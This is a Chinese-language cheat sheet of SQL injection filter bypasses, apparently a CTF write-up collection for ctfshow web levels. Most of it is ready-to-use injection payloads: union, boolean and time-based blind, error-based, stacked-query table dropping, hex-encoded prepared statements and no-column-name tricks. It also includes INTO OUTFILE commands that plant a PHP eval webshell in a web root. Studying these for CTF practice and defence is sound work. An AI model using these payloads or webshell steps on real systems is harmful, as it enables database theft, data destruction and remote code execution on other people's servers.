原则上,所有的关键字如果只被正则匹配过滤一次,而不是递归过滤,那么所有的关键字都可以使用双写绕过
回显长度有限制
这里只用查询字段做例子,其他的查询数据库、表、列都是一样的加limit和group_concat
1 | 1' union select group_concat(username) ,group_concat(password),3 from ctfshow_user2 limit 1,1-- a |
回显内容有限制
这里用ctfshow-web173为例子,题目如下

对输出的内容进行正则匹配,如果没有匹配到flag,才会输出查询成功
前面获取数据库名、表名、字段名就不重复了,就是union注入的常规套路,直接到最后一步
对输出的内容进行进制转换,或者你采用编码都可以,直接使用hex转换为16进制
1 | 1' union select hex(username),password,3 from ctfshow_user3-- a |

最后16进制转ascii即可拿到flag

ctfshow{b65962ff-25ea-4603-a222-9aaf289644a2}
回显内容不允许出现数字
这里以ctfshow-web174为例,题目如下:

这里对输出进行了过滤,只有在没有flag以及没有数字的情况下,才会进行回显正确
绕过方法:对输出内容进行replace替换
1 | replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'9','nine'),'8','eight'),'7','seven'),'6','six'),'5','five'),'4','four'),'3','three'),'2','two'),'1','one'),'0','zero') |
replace(str, from_str, to_str):str是指原始字符串,from_str是指需要替换字符串,to_str是指:替换后字符串,上述sql语句即是将原始password中9替换为nine,得到newpassword,再将newpassword中的8替换为eight,后面以此类推,从而达到输出没有数字的情况
前面获取数据库名和获取表名都是和正常union注入一样,如果输出有数字的,就使用replace进行替换,这里就给出最终的查询数据项的sql语句
1 | 1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'9','nine'),'8','eight'),'7','seven'),'6','six'),'5','five'),'4','four'),'3','three'),'2','two'),'1','one'),'0','zero') from ctfshow_user4 where username='flag'-- a |
成功拿到替换后的password

ctfshow{onedtwoceightnineninetwo-fiveatwotwo-fourdsevenseven-bcdsix-bazerodbfeightezerofoureightone}
转换回来的python脚本:
1 | def english_to_arabic_v2(text): |

拿到flag
ctfshow{1d2c89n92-5a22-4d77-bcd6-ba0dbf80z04081}
输入内容有flag等字符限制
like绕过
这里用ctfshow-web182为例子,题目如下

waf显示:过滤了可以绕过空格的之类tab,还过滤了用于sql写马的file和into,过滤了union查询的select,还过滤了flag查询参数,这里我们就可以使用like进行模糊匹配查询
1 | 1'or(username)like('fl%')--%01 |
like('fl%'):对开头是fl进行贪婪匹配并进行查询
regexp绕过
这里用ctfshow-web182为例子,题目如下

waf显示:过滤了可以绕过空格的之类tab,还过滤了用于sql写马的file和into,过滤了union查询的select,还过滤了flag查询参数,这里我们就可以使用regexp进行正则匹配查询
1 | 1'or(username)regexp('^fl.?')--%01 |
regexp('^fl.?'):正则表达式匹配,以fl开头任意字符匹配0次或1次
select过滤
大小写绕过
这里用ctfshow-web176为例子,题目如下

返回逻辑显示:有waf对输入进行拦截,经过测试,发现是select过滤
select大小写绕过即是将union注入的select替换成大写Select即可
获取数据库
1
1' union Select 1,2,database()-- a
获取数据表
1
1' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- a
获取数据列
1
1' union Select group_concat(column_name),2,3 from information_schema.columns where table_name='ctfshow_user' and table_schema=database()-- a
获取数据项
1
1' union Select group_concat(username),group_concat(password),3 from ctfshow_user-- a
handler绕过
这里用ctfshow-web225为例子,题目如下:
题目提示:堆叠注入,查询语句:username传参,三列回显,返回逻辑:waf拦截SQL注入写马,union注入,增删改查都被拦截
绕过思路:使用等价函数handler替换select
handler与select区别,主要是handler是一行一行数据进行回显
1 | -- SELECT:一次性的完整查询 |
堆叠注入查看数据库
1
ctfshow';show databases;
查看数据表
1
ctfshow';show tables;
查看数据列
1
ctfshow';show columns from ctfshow_flagasa;
查看具体数据项
1
ctfshow';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
where过滤
having等价函数绕过
这里用ctfshow-web184为例子,题目如下

waf如图所示,过滤了空格的tab之类的绕过,过滤了select查询,sql注入写马,or连接符也过滤了,=也被过滤,单双引号也被过滤,并且查询结果只返回当前有多少条数据,好消息是这关没有过滤空格,其实过滤了也一样,括号绕过即可
这个关卡是在前面的基础上写的,已知条件:已知表ctfshow_user,已知列pass
having与where的区别就是having只能在group by后面使用
1 | tableName=ctfshow_user group by pass having pass like 0x63746673686F7725 |
0x63746673686F7725:mysql自动识别十六进制,这里是ctfshow%
整个条件即是根据pass进行排序,并且筛选条件为模糊查询ctfshow为开头的pass

成功回显为1,锁定了flag数据项
最后使用python脚本布尔盲注出flag,脚本具体流程看web183的wp
1 | import requests |
ascii过滤
ord等价函数绕过
这里用ctfshow-web191为例子,题目如下

查询语句是根据where的筛选条件,进行pass查询
返回逻辑检测,密码输入只能为数字,密码判断即为登录成功,waf拦截,用户名不能sql注入写马,不能用ascii码函数
这里我们使用ord等价函数代替ascii码
ord与ascii的区别:ord适用于多字节字符,ascii码适用于单字节字符,对于盲注而言,不会影响结果
接下来就是正常的布尔盲注了
获取数据库长度
1
admin' and length(database())=1-- a
获取数据库
1
admin' and ord(substr(database(),1,1))=1-- a
获取数据表长度
1
admin' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- a
获取数据表
1
admin' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1-- a
获取列长度
1
admin' and length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' and table_schema=database()))=1-- a
获取列
1
admin' and ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' and table_schema=database()),1,1))=1-- a
获取f1ag这一列的数据项长度
1
admin' and length((select group_concat(f1ag) from ctfshow_fl0g))=1-- a
获取f1ag这一列的数据项
1
admin' and ord(substr((select group_concat(f1ag) from ctfshow_fl0g ),1,1))=1-- a
直接使用判断substr截取字符
这里用ctfshow-web192为例子,题目如下

查询语句是根据where的筛选条件,进行pass查询
返回逻辑检测,密码输入只能为数字,密码判断即为登录成功,waf拦截,用户名不能sql注入写马,不能用ascii码和ord函数
这里我们采取的绕过是直接判断当前substr截取字符是否正确即可
接下来就是正常的布尔盲注了
获取数据库长度
1
admin' and length(database())=1-- a
获取数据库(爆破x,x用引号包裹,不然数字爆破时,sql弱比较会一直成立)
1
admin' and substr(database(),1,1)='x'-- a
获取数据表长度
1
admin' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- a
获取数据表(爆破x,x用引号包裹,不然数字爆破时,sql弱比较会一直成立)
1
admin' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='x'-- a
获取列长度
1
admin' and length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' and table_schema=database()))=1-- a
获取列(爆破x,x用引号包裹,不然数字爆破时,sql弱比较会一直成立)
1
admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' and table_schema=database()),1,1)='x'-- a
获取f1ag这一列的数据项长度
1
amdin' and length((select group_concat(f1ag) from ctfshow_fl0g))=1-- a
获取f1ag这一列的数据项(爆破x,x用引号包裹,不然数字爆破时,sql弱比较会一直成立)
1
admin' and substr((select group_concat(f1ag) from ctfshow_fl0g ),1,1)='x'-- a
substr过滤
mid,substring等价函数绕过
这里用ctfshow-web193为例子,题目如下

查询语句是根据where的筛选条件,进行pass查询
返回逻辑检测,密码输入只能为数字,密码判断即为登录成功,waf拦截,用户名不能sql注入写马,不能用ascii码和ord,substr函数
在MySQL中,MID()函数和SUBSTR()函数(或SUBSTRING())是完全相同的,它们是同义词,功能完全一致。
修改函数名即可,下面只有mid的例子,substring是一样的
获取数据库长度
1
admin' and length(database())=1-- a
获取数据库(爆破x,x用引号包裹,不然数字爆破时,sql弱比较会一直成立)
1
admin' and mid(database(),1,1)='x'-- a
获取数据表长度
1
admin' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- a
获取数据表(爆破x,x用引号包裹,不然数字爆破时,sql弱比较会一直成立)
1
admin' and mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='x'-- a
获取列长度
1
admin' and length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' and table_schema=database()))=1-- a
获取列(爆破x,x用引号包裹,不然数字爆破时,sql弱比较会一直成立)
1
admin' and mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' and table_schema=database()),1,1)='x'-- a
获取f1ag这一列的数据项长度
1
amdin' and length((select group_concat(f1ag) from ctfshow_fl0g))=1-- a
获取f1ag这一列的数据项(爆破x,x用引号包裹,不然数字爆破时,sql弱比较会一直成立)
1
admin' and mid((select group_concat(f1ag) from ctfshow_fl0g ),1,1)='x'-- a
left,right等价函数绕过
这里用ctfshow-web193为例子,题目如下

查询语句是根据where的筛选条件,进行pass查询
返回逻辑检测,密码输入只能为数字,密码判断即为登录成功,waf拦截,用户名不能sql注入写马,不能用ascii码和ord,substr函数
这里我们采取的绕过使用left,right等价函数绕过
left(string,length):string表示需要截取的字符串,length表示需要从左截取的长度
right(string,length):string表示需要截取的字符串,length表示需要从右截取的长度
先获取需要爆破数据的长度,然后跑脚本即可
获取数据库长度
1
admin' and length(database())=1-- a
获取数据表长度
1
admin' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- a
获取列长度
1
admin' and length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' and table_schema=database()))=1-- a
获取f1ag这一列的数据项长度
1
amdin' and length((select group_concat(f1ag) from ctfshow_fl0g))=1-- a
这里只写了left的绕过脚本,right的修改函数名即可
1 | import requests |
lpad,rpad等价函数绕过
这里用ctfshow-web194为例子,题目如下

查询语句是根据where的筛选条件,进行pass查询
返回逻辑检测,密码输入只能为数字,密码判断即为登录成功,waf拦截,用户名不能sql注入写马,不能用ascii码和ord,substr,left,right,substring函数
这里我们采取的绕过使用lpad,rpad等价函数绕过,padstr=''即可
lpad(str,len,padstr):str表示需要返回的字符串,len小于str时,相当于从左截取字符串长度等于left的效果,大于时则填充padstr
rpad(str,len,padstr):str表示需要返回的字符串,len小于str时,相当于从左截取字符串长度等于left的效果,大于时则右填充padstr
先获取需要爆破数据的长度,然后跑脚本即可
获取数据库长度
1
admin' and length(database())=1-- a
获取数据表长度
1
admin' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- a
获取列长度
1
admin' and length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g' and table_schema=database()))=1-- a
获取f1ag这一列的数据项长度
1
amdin' and length((select group_concat(f1ag) from ctfshow_fl0g))=1-- a
这里只写了lpad的绕过脚本,rpad的修改函数名即可
1 | import requests |
update/set过滤
drop和create新建同名表绕过
这里用ctfshow-web197为例子,题目如下:
查询语句是根据where的筛选条件,进行pass查询
返回逻辑检测,密码判断即为登录成功,waf拦截,用户名不能sql注入写马,不能用union注入update更改
drop和create新建表绕过需要有已知条件:数据库名:ctfshow_web数据表名:ctfshow_user数据列名:username、pass
绕过即是删除原先查询账户和密码的表,新建一个同名表,自己设置账户和密码即可,这个方法主要是登录admin账户,账户设置为admin,即可登录admin账户(前提是单双引号没有被过滤),如果char被过滤,可以使用text类型来替代
1 | 0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(50),`pass` varchar(50));insert ctfshow_user(`username`,`pass`) value(0,0) |
对于本题而言,直接新增一个用户也可以拿到flag,类似于注册的效果
1 | 0;insert ctfshow_user(username,pass) values(0,0) |
updatexml过滤
extractvalue等价函数绕过
这里用ctfshow-web245为例,题目如下:

基于上一题可知,这题是正常的报错注入,waf拦截过滤了updatexml函数
extractvalue等价函数绕过即是使用extractvalue替换updatexml函数即可
extractvalue(xml_fragment, xpath_expression):
- xml_fragment: XML格式的字符串
- xpath_expression: XPath路径表达式
获取数据库名
1
' or extractvalue(1,concat(0x7e,(select database())))-- a
获取数据表名
1
' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))-- a
获取数据列名
1
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa' and table_schema=database())))-- a
获取数据项
substr获取前30字符:
1
' or extractvalue(1,concat(0x7e,substr((select flag1 from ctfshow_flagsa),1,30)))-- a
substr获取后30字符:
1
' or extractvalue(1,concat(0x7e,substr((select flag1 from ctfshow_flagsa),31,30)))-- a
floor报错注入
这里以题目ctfshow-web246为例,题目如下:

报错注入的前提下,额外过滤了updatexml、extractvalue函数,这里我们采用floor报错绕过
先给一个简单的floor报错注入的例子,如下:
1 | select count(*) concat((select database()),0x7e,floor(rand(0)*2)) as a from users group by a |
RAND():产生随机数
FLOOR():向下取整
GROUP BY:分组时会产生临时表
报错原因:floor(rand(0)*2)每次查询产生固定的随机0、1序列,group by 分组产生临时表,count对列相同数据进行计数,group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次。
1 | 创建临时表:group_key, count(*) |

获取数据库名
1
' union select 1,count(*),concat((select database()),0x7e,floor(rand(0)*2))a from information_schema.schemata group by a-- b
获取数据表名(group_concat无法使用,只能使用limit了)
1
' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a-- b
获取数据列名
1
' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' and table_schema=database() limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a-- b
获取数据项
substr获取前30字符:
1
' union select 1,count(*),concat(substr((select flag2 from ctfshow_flags),1,30),0x7e,floor(rand(0)*2))a from information_schema.tables group by a-- b
substr获取后30字符:
1
' union select 1,count(*),concat(substr((select flag2 from ctfshow_flags),31,30),0x7e,floor(rand(0)*2))a from information_schema.tables group by a-- b
ceil报错注入
这里以题目ctfshow-web247为例,题目如下:

与上题相比多了一个过滤floor,其实floor的作用就是随机数取整而已,使用一个等价函数(ceil、round)替代即可
ceil():向上取整
round(x,y):将x值四舍五入为整数,y为保留多少位小数
获取数据库名
1
' union select 1,count(*),concat((select database()),0x7e,ceil(rand(0)*2))a from information_schema.schemata group by a-- b
获取数据表名(group_concat无法使用,只能使用limit了)
1
' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,ceil(rand(0)*2))a from information_schema.tables group by a-- b
获取数据列名
1
' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flagsa' and table_schema=database() limit 1,1),0x7e,ceil(rand(0)*2))a from information_schema.tables group by a-- b
获取数据项(包含特殊字符的列、字段、表…用``括起来)
substr获取前30字符:
1
' union select 1,count(*),concat(substr((select `flag?` from ctfshow_flagsa),1,30),0x7e,ceil(rand(0)*2))a from information_schema.tables group by a-- b
substr获取后30字符:
1
' union select 1,count(*),concat(substr((select `flag?` from ctfshow_flagsa),31,30),0x7e,ceil(rand(0)*2))a from information_schema.tables group by a-- b
sleep过滤
benchmark等价函数绕过
这里用ctfshow-web217为例子,题目如下

查询语句是根据筛选条件id进行查询,waf拦截了sleep函数
benchmark等价函数绕过就是使用benchmark替代sleep函数
BENCHMARK(count, expr):count表示执行次数,expr表示需要执行的函数
例如:benchmark(400000,md5(1)):达到大量占用服务器资源的效果,从而使回显出现延迟,从而知道SQL注入是否成功(多并发环境会崩,获取长度的可以高并发,获取字符取最长时间的即可,获取字符的改为单线程并提高计算,单线程的大约0.8秒)
获取数据库长度
1
1) or if(length(database())=1,benchmark(400000,md5(1)),null)-- a
获取数据库
1
1) or if(ascii(substr(database(),1,1))=1,benchmark(1000000,md5(1)),null)-- a
获取数据表长度
1
1) or if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,benchmark(400000,md5(1)),null)-- a
获取数据表
1
1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1,benchmark(1000000,md5(1)),null)-- a
获取列长度
1
1) or if(length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' and table_schema=database()))=1,benchmark(400000,md5(1)),null)-- a
获取列
1
1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' and table_schema=database()),1,1))=1,benchmark(1000000,md5(1)),null)-- a
获取flagaabc这一列的数据项长度
1
1) or if(length((select group_concat(flagaabc) from ctfshow_flagxccb))=1,benchmark(400000,md5(1)),null)-- a
获取flagaabc这一列的数据项
1
1) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),1,1))=1,benchmark(1000000,md5(1)),null)-- a
笛卡尔积绕过
这里用ctfshow-web218为例子,题目如下

查询语句是根据筛选条件id进行查询,waf拦截了sleep、benchmark函数
笛卡尔积绕过是使服务器进行大量的查询使其回显时间延迟,从而知道sql注入是否成功
笛卡尔积:A有m行,B有n行,A,B组合共有m*n行
(多并发环境会崩,获取长度的可以高并发,获取字符取最长时间的即可,获取字符的改为单线程并提高计算,单线程的大约2秒)
获取数据库长度(所有表的行数*所有数据库的行数的4次方)
1
1) or if(length(database())=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.schemata C),null)-- a
获取数据库
1
1) or if(ascii(substr(database(),1,1))=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.schemata C),null)-- a
获取数据表长度
1
1) or if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.schemata C),null)-- a
获取数据表
1
1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.schemata C),null)-- a
获取列长度
1
1) or if(length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' and table_schema=database()))=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.schemata C),null)-- a
获取列
1
1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' and table_schema=database()),1,1))=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.schemata C),null)-- a
获取flagaac这一列的数据项长度
1
1) or if(length((select group_concat(flagaabc) from ctfshow_flagxccb))=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.schemata C),null)-- a
获取flagaac这一列的数据项
1
1) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),1,1))=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.schemata C),null)-- a
注释符过滤
引号拼接绕过
这里用ctfshow-web539为例,题目如下:

这题还是正常打报错注入,只是由于注释符被过滤了,只能使用引号拼接绕过
假设原句为如下:
1 | select * from users where '$_GET['id']'; |
引号拼接绕过如下:
1 | select * from users where '1' union database()''; |
获取数据库名
1
' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),3) or'
获取表名
将值括号闭合payload如下:
1
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),3) or'
获取列名
1
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctfshow')),3) or'
获取数据项
substr获取前30字符:
1
' or updatexml(1,concat(0x7e,substr((select flag4 from ctfshow.flag),1,30)),3) or'
substr获取后30字符:
1
' or updatexml(1,concat(0x7e,substr((select flag4 from ctfshow.flag),31,30)),3) or'
;%00绕过
这里用ctfshow-web539为例,题目如下:

直接使用00截断,强行结束sql语句,从而达到注释的效果
获取数据库名
1
' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),3);%00
获取表名
将值括号闭合payload如下:
1
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),3);%00
获取列名
1
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctfshow')),3);%00
获取数据项
substr获取前30字符:
1
' or updatexml(1,concat(0x7e,substr((select flag4 from ctfshow.flag),1,30)),3);%00
substr获取后30字符:
1
' or updatexml(1,concat(0x7e,substr((select flag4 from ctfshow.flag),31,30)),3);%00
单引号过滤
转义符绕过
这里用ctfshow-web234为例子,题目如下:
查询语句是update查询,waf拦截过滤了单引号
这里我们采用转义符绕过,即第一个password处填写\
则原句前段如下:
1 | update ctfshow_user set pass = '\' where username = '$username' |
我们将username写为括号内执行sql语句,即可完成注入
例如:password=\&username=,username=select database()#
则原句如下:
1 | update ctfshow_user set pass = '\' where username = ',username=select database()#' |
即后端pass=' where username =
username=select database()
注入点即为username,接下来用union注入一步一步拿去数据项即可,这里我只给最后部分
1 | password=\&username=,username=(select group_concat(flagass23s3) from flag23a)%23 |
空格过滤
注释符绕过
这里用ctfshow-web177为例子,题目如下

返回逻辑显示:有waf对输入进行拦截,经过测试,发现是空格过滤
空格注释符绕过即是将union注入的空格替换成多行注释符即可
注释符:/**/
获取数据库
1
1'/**/union/**/select/**/1,2,database()%23
%23:#也是sql语句中的注释符,因为--这个注释符后面要接分隔符,所以直接用%23即可,或者你用--%0b、--%0c、--%0d、--%09都行(--%01到--%19可以当作注释符,但是%01到%19不能当空格)获取数据表
1
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
获取数据列
1
1'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'/**/and/**/table_schema=database()%23
获取数据项
1
1'/**/union/**/select/**/group_concat(username),group_concat(password),3/**/from/**/ctfshow_user%23
这里我写马进去看了一下后端代码,只用正则过滤了空格,感兴趣的也可以进去看一下
1 | 1'%0cunion%0cselect%0cid,"<?=@eval($_POST[1]);?>",password%0cfrom%0cctfshow_user%0cinto%0coutfile%0c'/var/www/html/shell.php'%0c%23 |
Tab之类绕过
| URL编码 | 名称 | ASCII/Unicode | 常见用途 |
|---|---|---|---|
| %20 | 空格 | 0x20 (32) | 普通单词分隔 |
| %09 | 水平制表符 | 0x09 (9) | 缩进、表格对齐 |
| %0a | 换行符 | 0x0A (10) | 新行开始 |
| %0b | 垂直制表符 | 0x0B (11) | 纵向表格对齐 |
| %0c | 换页符 | 0x0C (12) | 分页符 |
| %0d | 回车符 | 0x0D (13) | 回车(与\n组合为\r\n) |
| %a0 | 不换行空格 | 0xA0 (160) | 防止自动换行的空格 |
这里用ctfshow-web177为例子,题目如下

返回逻辑显示:有waf对输入进行拦截,经过测试,发现是空格过滤
空格Tab之类绕过即是将union注入的空格替换成Tab之类即可
经过测试这些可以代替:%09、%0a、%0b、%0c、%0d
- 获取数据库
%09:
1 | 1'%09union%09select%091,2,database()%23 |
%0a:
1 | 1'%0aunion%0aselect%0a1,2,database()%23 |
%0b:
1 | 1'%0bunion%0bselect%0b1,2,database()%23 |
%0c:
1 | 1'%0cunion%0cselect%0c1,2,database()%23 |
%0d:
1 | 1'%0dunion%0dselect%0d1,2,database()%23 |
获取数据表
%09:1
1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()%23
%0a:1
1'%0aunion%0aselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%23
%0b:1
1'%0bunion%0bselect%0b1,2,group_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()%23
%0c:1
1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23
%0d:1
1'%0dunion%0dselect%0d1,2,group_concat(table_name)%0dfrom%0dinformation_schema.tables%0dwhere%0dtable_schema=database()%23
获取数据列
%09:1
1'%09union%09select%09group_concat(column_name),2,3%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%09and%09table_schema=database()%23
%0a:1
1'%0aunion%0aselect%0agroup_concat(column_name),2,3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='ctfshow_user'%0aand%0atable_schema=database()%23
%0b:1
1'%0bunion%0bselect%0bgroup_concat(column_name),2,3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='ctfshow_user'%0band%0btable_schema=database()%23
%0c:1
1'%0cunion%0cselect%0cgroup_concat(column_name),2,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%0cand%0ctable_schema=database()%23
%0d:1
1'%0dunion%0dselect%0dgroup_concat(column_name),2,3%0dfrom%0dinformation_schema.columns%0dwhere%0dtable_name='ctfshow_user'%0dand%0dtable_schema=database()%23
获取数据项
%09:1
1'%09union%09select%09group_concat(username),group_concat(password),3%09from%09ctfshow_user%23
%0a:1
1'%0aunion%0aselect%0agroup_concat(username),group_concat(password),3%0afrom%0actfshow_user%23
%0b:1
1'%0bunion%0bselect%0bgroup_concat(username),group_concat(password),3%0bfrom%0bctfshow_user%23
%0c:1
1'%0cunion%0cselect%0cgroup_concat(username),group_concat(password),3%0cfrom%0cctfshow_user%23
%0d:1
1'%0dunion%0dselect%0dgroup_concat(username),group_concat(password),3%0dfrom%0dctfshow_user%23
括号绕过
这里用ctfshow-web177为例子,题目如下

返回逻辑显示:有waf对输入进行拦截,经过测试,发现是空格过滤
括号绕过即是将union注入的需要空格替换成将函数进行括号即可
在update、insert、delete语句中无法使用括号绕过,推荐使用反引号包裹表名列名
- 获取数据库
1 | 1'union(select(1),(2),database())%23 |
获取数据表
1
1'union(select(1),(2),(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))%23
获取数据列
1
1'union(select(group_concat(column_name)),(2),(3)from(information_schema.columns)where(table_name='ctfshow_user')and(table_schema=database()))%23
获取数据项
1
1'union(select(group_concat(username)),(group_concat(password)),(3)from(ctfshow_user))%23
mysql直接识别的进制
十六进制
1
2SELECT 0x48656C6C6F; -- 输出 'Hello'
SELECT 0x31; -- 输出 '1' (数字或字符)二进制
1
2SELECT b'1010'; -- 输出 10
SELECT 0b1010; -- 输出 10八进制
1
SELECT 010; -- 输出 8(注意:010 默认是八进制)
and过滤
&&绕过
1 | and改成&&即可 |
or 过滤
||绕过
1 | or改成||即可 |
等价数据库绕过
这里用ctfshow-web235为例子,题目如下:
查询语句是update更新语句,返回逻辑:waf拦截or和单引号
这里单引号使用转义字符\绕过,or本身可以使用||绕过,但是对题目的限制主要是information_shcema数据库无法使用
这里information_schema.schemata用databases()字段为
1 | select database() |
绕过information_schema.tables用mysql.innodb_table_stats绕过
1 | select group_concat(table_name) from mysql.innodb_table_stats |
information_schema.columns用无列名注入绕过
1 | password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)# |
预编译编码绕过
这里用ctfshow-web226为例子,题目如下

查询语句:根据username传参进行条件查询,三列回显,返回逻辑:waf拦截:SQL注入写马,union注入,增删改查都被拦截,show也被拦截
这里采用prepare execute进行预编译绕过
预编译的用法就是一个SQL语句模板,然后多次执行它。也是用来防御sql注入的手段之一。
1 | SET @payload = 0x53514C454354202A2046524F4D2075736572733B; |
这道题目我们直接预编译select查看表名、列名、数据项名即可
查看表名
1
2
3
4
5user1';prepare stmt from 0x73656c65637420312c322c7461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute stmt;
-- 等于
select 1,2,table_name from information_schema.tables where table_schema=database()查看列名
1
2
3
4
5user1';prepare stmt from 0x73656c65637420636f6c756d6e5f6e616d652c322c332066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c616761732720616e64207461626c655f736368656d613d64617461626173652829;execute stmt;
-- 等于
select column_name,2,3 from information_schema.columns where table_name='ctfsh_ow_flagas' and table_schema=database()查看数据项值
1
2
3
4
5user1';prepare stmt from 0x73656c65637420666c61676173622c322c332066726f6d2063746673685f6f775f666c61676173;execute stmt;
-- 等于
select flagasb,2,3 from ctfsh_ow_flagas
无列名注入
这里用ctfshow-web235为例子,题目如下:
查询语句是update更新语句,返回逻辑:waf拦截or和单引号
简单来说即是使用union查询将列名顶掉,如下

然后我们再对已知被顶掉的列名进行查询,例如查询第2列

这里必须要对2和from后的语句进行标注和取别名,用来表明2是一列数据,后面的语句是一个表名
如果`被禁,对列取别名然后进行查询,如下对第二列取别名为b:
1 | select b from (select 1,2 as b,3,4 union selct * from dept)b; |
回到题目,这里直接对列名进行自定义列名顶掉也就是无列名注入,题目限制一行一行取值
1 | password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)# |
sql注入写马
使用条件以及限制
| 条件 | 说明 | 检查方法 |
|---|---|---|
| 1. 数据库用户需FILE权限 | INTO OUTFILE 需要FILE特权 |
SELECT file_priv FROM mysql.user WHERE user = current_user() |
| 2. 知道Web目录绝对路径 | 必须知道网站根目录物理路径 | 报错信息、探针文件、@@basedir推断 |
| 3. 目录有写权限 | Web目录MySQL用户可写入 | 尝试写测试文件 |
| 4. secure_file_priv不为NULL | MySQL安全配置不能限制文件导出 | SHOW VARIABLES LIKE 'secure_file_priv' |
| 5. 单/双引号未被转义 | 能够闭合引号写入代码 | 常规注入测试 |
使用示例
这里以ctfshow-web174为例,题目如下:

这里对输出进行了过滤,只有在没有flag以及没有数字的情况下,才会进行回显,这里我就直接尝试写马了
- 首先尝试能不能将查询结果输出到文件当中
1 | 1' union select username,password from ctfshow_user4 into outfile '/var/www/html/flag.txt' -- a |
这里因为知道ctfshow靶场的网站地址都是/var/www/html,正常sql注入写马需要很多权限

输出成功,拿到flag,这里确定了写入文件的权限
ctfshow{3bf4551a-455d-4ce4-971a-064a03bb7724}
接下来我们尝试直接将webshell写入文件中
1
1' union select "<?php @eval($_POST[1]);?>",password from ctfshow_user4 into outfile '/var/www/html/shell.php' -- a
如果空格被过滤将
<?php改为<?=短标签1
1'/**/union/**/select/**/"<?=@eval($_POST[1]);?>",password/**/from/**/ctfshow_user4/**/into/**/outfile/**/'/var/www/html/shell.php'/**/--/**/a
这个查询结果是正常的,因为被过滤flag

写马成功

文件上传写mysql马
